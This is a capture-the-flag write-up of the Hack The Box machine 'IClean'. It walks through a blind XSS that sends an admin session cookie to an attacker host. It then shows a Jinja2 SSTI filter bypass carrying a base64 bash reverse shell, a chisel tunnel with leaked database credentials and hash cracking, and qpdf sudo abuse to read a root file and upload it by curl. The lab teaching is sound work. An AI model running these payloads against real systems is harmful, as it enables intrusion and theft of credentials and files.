IClean
2024-05-22
INTRODUCTION
In my opinion, IClean was a really cool box. It provides a pleasant balance of recon, exploitation, and CTF-style puzzle-solving. This box provides a more realistic web attack surface than many other boxes - there are lots of pages to explore, and many ways that one could think to attack them. I’d highly recommend IClean to anyone that wants a reasonably challenging (but not too long) web-focused box. Personally, I think this one is on the “hard” side of medium difficulty.
Initial recon brings you to a form where you can request a quote. Small hints suggest that there may be an XSS opportunity. Indeed, there is a fairly straightforward blind XSS to exploit. I used this opportunity to write my latest tool, Crxss-Eyed, used for blind XSS discovery (Check it out if you want ❤️ PRs welcome). Successful XSS leads you into an admin dashboard
The admin dashboard provides an initially overwhelming attack surface, but eventually leads to a fairly challenging SSTI. Successful identification of the SSTI requires us diligently test every input. Once the SSTI is finally identified, it still requires a tricky bypass of blacklisted characters to properly exploit it. While successful exploitation finally grants us a foothold, we still need to privesc from the webserver service account to a regular user before the user flag can be obtained. Thankfully, all this requires is access to the password hashes in the database, some hash cracking, and a little luck with credential re-use.
Privilege escalation to root is simple, but will likely require a bit of research. The vulnerability is well-documented if you know what to look for. Since we’re able to obtain the exact version of the vulnerable application, I recommend creating a simple test environment on your local attacker machine when developing your final payload. Otherwise, it might be hard to miss the flag, even once you do obtain it.
RECON
nmap scans
Port scan
I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2c:f9:07:77:e3:f1:3a:36:db:f2:3b:94:e3:b7:cf:b2 (ECDSA)
|_ 256 4a:91:9f:f2:74:c0:41:81:52:4d:f1:ff:2d:01:78:6b (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results from the vuln scan.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
PORT STATE SERVICE VERSION
7/udp open|filtered echo
68/udp open|filtered tcpwrapped
136/udp open|filtered tcpwrapped
137/udp open|filtered netbios-ns
520/udp open|filtered route
593/udp open|filtered tcpwrapped
997/udp open|filtered tcpwrapped
1023/udp open|filtered tcpwrapped
1812/udp open|filtered radius
1900/udp open|filtered upnp
5060/udp open|filtered sip
5353/udp open|filtered zeroconf
49182/udp open|filtered unknown
49191/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Interesting… radius, sip, samba: it might be an enterprise target.
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
We already saw the Apache version from nmap, but note the redirect to http://capiclean.htb
.
Next I performed vhost and subdomain enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No result. Now I’ll check for subdomains of capiclean.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://capiclean.htb
:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o ffuf-directories-root -of json-timeout 4 -v
Directory enumeration against http://capiclean.htb/
gave the following:
Lots of results! The most notable are /dashboard
and /server-status
. Probably, both are behind the /login
page.
Exploring the Website
I can’t not say it: this site has really nice CSS. All the transitions are tasteful, and the design is just… clean 😍
The index page has links to section-specific pages that are largely uninteresting - just copies of content from the index page. It also has links to a /quote
page (with a form that POSTs to /sendMessage
) and a /login
page (with a form that POSTs to /login
).
We can see from the response headers of any page the server framework and language:
Server: Werkzeug/2.3.7 Python/3.10.12
When I submit the form on the /quote
page, there is a message that might be a hint:
🤔 So the management team will take a look at my quote request, eh? If there’s a “person” on the other end of this form, reviewing requests, then there might be an XSS opportunity here. And if that’s true, it might be the thing to get me past the /login
page, through to /dashboard
. I’ll investigate this soon 🚩
FOOTHOLD
Credential Guessing
Since it’s simple and easy, I’ll start with a quick credential-guessing attempt on the login page. First, I made one login attempt and proxied it through zap, saving the request as login_post.raw
. Now, I’ll run it through ffuf
:
USERS=/usr/share/seclists/Usernames/000-usernames-short.txt
PASSWORDS=/usr/share/seclists/Passwords/500-worst-passwords.txt
ffuf -w "$USERS":USER -w "$PASSWORDS":PASS -request login_post.raw -d "username=USER&password=PASS" -c -v -fs 2172
No luck. There’s no registration page; I can’t see the correct result of authentication, so my options are a little limited.
SQL Injection
Again, since it’s simple and easy, I’ll try SQLi next. There are two forms to interact with, so I’ll try throwing sqlmap
at them:
sqlmap -u 'http://capiclean.htb/login' -X POST --data 'username=jimbob&password=Password123' --random-agent --level=3 --risk=2 --batch
sqlmap -u 'http://capiclean.htb/sendMessage' -X POST --data 'service=Carpet+Cleaning&service=Tile+%26+Grout&service=Office+Cleaning&email=test40test.test' --random-agent --level=3 --risk=2 --batch
Neither of these attempts led to a result.
Blind XSS
As previously mentioned, there “quote accepted” page (at /sendMessage
) hints that there might be a person that will review my request for a quote. Proxying the form submission, we can see what data is available to play with:
service=Carpet+Cleaning&service=Tile+%26+Grout&email=test%40test.test
Huh, it’s odd that there are two parameters with the same name, but I think that’s technically allowed. Messing around with this a little, I see that it’s easy to bypass the frontend validation on the email field - so essentially both service
and email
are free-form text fields.
After trying a variety of characters, it seems like there isn’t really any blacklist or anything, so I think I’m free to try whatever XSS payloads I want. This will be a blind XSS, so it might take a few tries.
I’m not very experienced with XSS, so I thought it would be best to try a whole bunch of payloads for XSS detection. When I try to find an XSS-vulnerable form input, I find it’s really useful to label the payload with some kind of identifying text, so that I can try a whole bunch rapidly and still know which was successful (if any).
In addition to that, it’s usually smart to try a variety of HTML escapes to break out of the DOM context and execute javascript. Lately, I’ve been trying the following escapes:
- nothing (“bare”)
- a singlequote
'
- a doublequote
"
- a ket
>
combined with each of the above three.Just like when trying multiple payloads, it’s important to label each XSS attempt with which escape was used in the payload
… and just to add to that, we’re attempting the XSS on multiple fields, sometimes at the same time. So it’s important to label the payload with the input it was used against.
😵 Are all the permutations making your head spin yet?
In short, my XSS payloads might be something like this, for example:
"<script>document.location='http://10.10.14.39:8000/?payload=scriptdocloc&esc=dblquote&field=service'</script>
As you might imagine, this is really tedious to test manually. It involves a ton of copy-pasting, lots of clicking, etc… Boring!
To expedite this whole process, I spend the last few hours writing my latest tool, Crxss-Eyed. It’s still very fresh, and I have a lot to add to it, but it seems to work very well! This tool automates the whole process described above, submitting and labelling each payload so that I can identify which worked.
Please check out my repo if you want to give it a try!
To automate the blind XSS attempts, I’m applying my new tool (described above). It goes hand-in-hand with another one of my tools, http-simple-server. We’ll set up an HTTP server as a listener for callbacks from the blind XSS:
sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v
Now that the http server is listening, I’ll fire off the XSS payloads, testing it against both the service
and email
fields:
python3 crxss-eyed.py 'http://capiclean.htb/sendMessage' 'http://10.10.14.39:8000' 'service=Carpet&email=test@test.test' 'service,email'
😂 After a few moments, we can see a ton of successful XSS attempts roll in!
My http-simple-server automatically attempts to base64-decode any data that was send as the
b64
parameter in a GET request. I’ve also recently revised it so this mechanism works on base64 data with periods in it, like a JWT.(it also handles file uploads nicely.) Check it out if you want.
Roughly 40 or so payloads were successful. I didn’t count, but it was plenty. Here’s one that was already configured to grab the target’s cookie:
Fantastic! Not only did we find the get a session cookie, but we also have the decoded value of it:
session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zk8I8g.HQvZScg8fvxuAxx2fUnPtdsP44g
role: 21232f297a57a5a743894a0e4a801fc3
That role
format looks pretty familiar - could be an MD5 hash. I’ll run it through CrackStation to see:
🤠 The role
is just the MD5 hash of “admin”!
Since we have the session cookie of, presumably, someone in “management”, that should be enough to get us past the /login
page. I’ll copy the session cookie into my own browser and set the cookie’s scope to /
, then try navigating over to the dashboard.
Admin Dashboard
Navigating to /dashboard
confirms that all of the previous hunches were indeed correct:
There are four functions here, so let’s try each out and get a feel for how the dashboard works.
Generate Invoice
At /InvoiceGenerator
we can choose a service, record a project, client, address, and email, then generate an invoice.
This form submits via POSTing regular x-www-form-urlencoded data to /InvoiceGenerator
:
selected_service=Basic+Cleaning&qty=1&project=MyProject&client=MyClient&address=123+Fake+St&email-address=fake%40fake.fake
The result is a page showing the invoice number, 1142339475
:
Generate QR
This links to /QRGenerator
, which allows us to enter an invoice number and generate a qr code. When we do that, it takes a moment then generates a link:
Note that the invoice number is reflected in the generated png
filename. Some may consider this an example of IDOR. We can also input the link into the field below to generate an invoice using that QR code.
Note to self: I should check this field later to see if I can input any QR code into the web app - even an external one 🚩
Several user-controllable fields are reflected onto this page, so I should test all of these for SSTI. If this is getting recorded, I should also check if it could lead to SQLi (or maybe XXE, I’m still not sure how the data is stored! - heck, maybe it’s just in a JSON file or something.) 🚩
Curious about what data was actually inside that QR code, I ran it through an online tool to read it. The result was a link: http://capiclean.htb/QRInvoice/invoice_1142339475.html. When I opened that link, I found that it was another “scannable invoice” as shown above, but slightly different - the Invoice number was different, and there was a different price on the cleaning service.
Oddly though, opening that link seems to have affected the original “scannable invoice” that appeared: when I refresh the original invoice, the QR code has disappeared from the bottom corner, and it has yet another invoice number and price!
Edit Services
This one links to /EditServices
and does exactly what you might expect. It allows us to modify the data associated with different services that are offered:
All fields except Service description are marked readonly
, but this is easily bypassable by editing the DOM. Here, I’m editing Basic Cleaning to see which modifications are persistent:
Checking the Edit Service page again though, shows that only the changes to the Service description actually persisted.
Since we’ve found a parameter we can control (one that might be reflected elsewhere), I should test this field later for SSTI and SQLi, maybe even XXE 🚩
Quote Requests
This loads the /QuoteRequests
page, but the page is empty. This is probably where pending XSS attempts ended up, probably with some kind of Selenium bot or something to “read” the page.
Review: Leads
To keep myself organized, I’ll review what leads I gained from examining the dashboard:
- Load an external QR code. The QR code finds its way onto the invoice. Maybe I can do something with how it renders the template?
- Inject malicious Invoice details. Maybe there’s an SQLi, or SSTI?
- Inject malicious Service details. Maybe there’s an SQLi? an SSTI?
In terms of complexity:
- It’s really easy to verify if I can load an external QR code, but I’m not sure what I would do with that info once its determined.
- It’s pretty easy to throw
sqlmap
at the inputs, but a little harder to do the second-order SQLi (where any reflected info is on another page). However, if successful this might be a path towards RCE. - It’s a little harder to verify the SSTI, but still doable. If successful, this proves an almost-certain path towards RCE.
➡️ Taking all this into account, I think I’ll investigate SSTI, then SQLi, then loading the external QR code.
SSTI Identification
I’ll try an SSTI polyglot in every input that I can find:
${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}
After generating the QR code, then navigating to the link stored in the QR code, the resulting invoice showed this:
In short, all the special characters were removed. I’ll try url-encoding (single and double):
👇 I’m using my own url_encoder for this, based on Python. Here’s the repo. You could just as easily use any other tool.
url_encode '${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}'
# %24%7B7%2A7%7D+%7B%7B6%2A6%7D%7D+%7B%7B5%2A5%7D%7D+%7B%7B_self.env.display%28%22JINJA%22%29%7D%7D+%23%7B4%2A4%7D
url_encode $(url_encode '${7*7} {{6*6}} {{5*'5'}} {{_self.env.display("JINJA")}} #{4*4}')
# %2524%257B7%252A7%257D%2B%257B%257B6%252A6%257D%257D%2B%257B%257B5%252A5%257D%257D%2B%257B%257B_self.env.display%2528%2522JINJA%2522%2529%257D%257D%2B%2523%257B4%252A4%257D
No luck with the URL encoding. This the result of encoding once:
I.e. all of the special characters are still removed.
There’s also the input that accepts the Invoice link as an input. I’ll try the payload there too:
However, this leads to an unexpected result. Producing a HTTP 500 status is often a good sign, though!
I wonder what is causing that to happen. To diagnose this, I’ll try thinning down the payload; realistically, if an SSTI is going to work, it’ll probably be for Jinja2 (since it’s a Flask server), so I’ll only include SSTI tests that should result in a positive outcome from Jinja2:
{{6*6}}{{5*'5'}}{{_self.env.display("JINJA")}}
… But this leads to the same result. What about trying URL encoding here, too?
Very interesting - look what failed to render:
Perhaps this just because of the dead link to the QR code though? I’ll check more closely:
Well, yes it is indeed a dead link, but we managed to sneak through some special characters! Just because they’re not visible characters doesn’t mean we can’t utilize them for SSTI 😉
SSTI Exploitation
Let’s refine the SSTI payload once more. If we have a Jinja2 SSTI, the expected result is 3655555
within that img src
property:
{{6*6}}{{5*'5'}}
YES! We have a confirmed SSTI 🎉
Let’s verify by running id
:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Hmm… That leads to another HTTP 500 status. I’d be willing to bet that at least one of the following are in some kind of blacklist: ()._
.
Thankfully, Hacktricks has a whole section on bypassing Jinja2 filters for gaining RCI via an SSTI. Various examples within that section will help isolate the character blacklist (if one exists), because several of them eliminate one particular character. Specifically, the one at the bottom gets rid of two of our suspected “bad” characters ( the characters(
, )
, .
, and _
) and leads to a reverse shell, so let’s skip straight to that test:
Naturally, the base64 payload from that example is not specific to my reverse shell listener, so let’s fix that:
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zOS80NDQ0IDA+JjE= | base64 -d | bash")["read"]() %} a {% endwith %}
Just in case this works, I’ll set up a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP-LISTEN:4444 STDOUT
Now, I’ll submit the payload through the Invoice QR Code link:
😁 There it is! We have a reverse shell:
USER FLAG
Upgrade the shell
In case I’m stuck here for a while, I should take a sec to upgrade my shell. For more details, please see my guide on upgrading the shell. We know the target has python, so I’ll use that:
python3 -c 'import pty; pty.spawn("/bin/bash")'
[Ctrl+Z]
stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color
export SHELL=bash
Hmm, still no colors. But at least we have command history and tab completion now 🤷♂️
Local enumeration: www-data
Opening the reverse shell dropped us into the web app directory. Taking a peek at app.py
yields some immediate results:
...
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
...
def rdu(value):
return str(value).replace('__', '')
def sanitize(input):
sanitized_output = re.sub(r'[^a-zA-Z0-9@. ]', '', input)
return sanitized_output
There we get a glimpse at two of the filters that were causing us grief. But also, some database credentials!
iclean : pxCsmnGLckUb for database capiclean.
A quick check of the home directory indicates that the only human user is consuela. Just to eliminate the obvious, I checked right away for credential reuse over SSH - no luck!
MySQL
To connect to the MySQL database easily, I’ll establish a socks5 proxy. To do this, I’ll download chisel
(and a few other tools, like linpeas) onto the target box. I’ll start the chisel server from my attacker box:
sudo ufw allow from $RADDR to any port 9999 proto tcp
/home/kali/Tools/STAGING/chisel server --port 9999 --reverse &
Then, from the target, I’ll connect back to the server:
./chisel client 10.10.14.39:9999 R:1080:socks &
With that done, I should be able to connect to the MySQL database comfortable from my attacker box, by using proxychains
:
proxychains mysql -h 127.0.0.1 -D capiclean -u iclean -ppxCsmnGLckUb
First, I’ll check what tables exist:
The users
table is always a good bet - let’s check that out:
Hash cracking
I took both these hashes and placed them, labelled, into a file for cracking:
I also checked the format of the hashes by copying one into name-that-hash
:
name-that-hash -t '2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51'
It seems confident that it’s a SHA256 hash. This is probably verifiable by reading app.py
more closely, but SHA256 is probably right. Let’s get crackin!
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=raw-sha256
Within a second, we had a result:
A password with spaces? So weird!. Let’s try it with SSH:
ssh consuela@$RADDR
🍰 The SSH connection drops us into /home/consuela
, right next to the user flag. Just cat
it out for some points.
cat user.txt
ROOT FLAG
qpdf
Since we logged in using a password, the #1 best thing to always check first is sudo -l
:
qpdf
? What’s that? From the official documentation, we have a description:
“QPDF provides many useful capabilities to developers of PDF-producing software or for people who just want to look at the innards of a PDF file to learn more about how they work. With QPDF, it is possible to copy objects from one PDF file into another and to manipulate the list of pages in a PDF file. This makes it possible to merge and split PDF files. The QPDF library also makes it possible for you to create PDF files from scratch”
Looking through the qpdf
documentation, it seems that I’m able to add arbitrary files as “attachments” to a PDF. Naturally, the first thing I tried was simply attaching the flag:
sudo qpdf --empty --add-attachment /root/root.txt -- /tmp/.Tools/out.pdf
I tried checking the contents with cat
. While it did contain something that looks a lot like an HTB flag (an MD5 hash), it must have just been a coincidence - perhaps some kind of checksum for the attachment…
Just to double-check, I uploaded the file to my attacker box, using simple-http-server:
curl -X POST -F "file=@/tmp/.Tools/out.pdf" http://10.10.14.39:8000
But, when opening the file, it just appears blank. Checking the file contents with hexedit didn’t help: all I found were the same two hashes from earlier.
I’ll try again, but this time starting with a blank PDF file (as opposed to the --empty
flag).
sudo qpdf --empty --pages . 1 -- /tmp/.Tools2/blank.pdf
sudo qpdf /tmp/.Tools2/blank.pdf --add-attachment=/root/root.txt /tmp/.Tools2/out_with_attachment.pdf
This produced the same result, but with some extra data inside.
💡 A little more searching through the documentation brought me to exactly what I needed; there’s an extra switch --qdf
that makes the resulting PDF parsable by a plaintext editor (like cat
):
sudo qpdf --empty --qdf --add-attachment /root/root.txt -- /tmp/.Tools2/out2.pdf
curl -X POST -F "File=@/tmp/.Tools2/out2.pdf" http://10.10.14.39:8000
☝️ Note the placement of the
--qdf
switch. It needs to go in that position.qpdf
is fussy about argument sequence.
Now, taking a look at the file, I found what I was looking for! This is the file contents, viewed from hexedit
:
👏 Look familiar? That’s the flag, between stream
and endstream
! Copy it out and submit it for the remainder of this box’s points 😁
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools
:
rm -rf /tmp/.Tools
Attacker
It’s a good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED
Attacker
🤖 Automate blind attacks. You’ll save a lot of time through a little scripting when testing for a blind attack. This is especially important if the thing you’re testing for isn’t actually there. You could otherwise spend an indefinite amount of time trying every trick in the book, only to lead to no result. Better to simply spend the time to automate the process. Plus, a little coding practice is never bad.
📍 Test every user-controllable input. Some inputs may seem unimportant at first, but those inputs may end up being the ones that developers accidentally overlooked when designing security! When testing for a particular vulnerability, it’s important to create a replicable test case where you know what to expect for positive vs. negative results, that you can apply systematically to every user-controllable input.
📄 PDFs can be an XXE target. The same principles apply to PDFs as many other XML-based formats. We can still use them to load external resources, and that can local files (as attachments). The method of performing data exfiltration is quite different from many XXEs, but the principle is the same.
Defender
🏠 Practice safe cookies. In IClean, we ended up hijacking the session of an administrator through XSS. One thing that would have made this more difficult would be setting the
http-only
flag on the cookie. Implementing a proper CORS policy would also have prevented the way we stole the session cookie. Lastly, once we took the cookie, we were able to easily pop it into the browser and use it right away: the site could be reconfigured to have the dashboard on a separate subdomain and set the cookie scope to only be for that subdomain.👺 Never assume that a user-controlled input has not been tampered. The only mitigation for this type of risk is using cryptographic signatures. Without signatures, we must perform as much validation and sanitization as possible on every user-controlled value, and accept the risk that comes with it - and this should always be coupled with other mechanisms congruent with defense in depth.
🔗 Trusting an application extends trust implicitly. When you provide privileged access to an application, keep in mind that you are implicitly providing privileged access to everything that application can access. This is why it is seldom a good idea to give full sudo access to anything. Instead, just make a service account and the least privileges that are necessary for it’s functionality.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake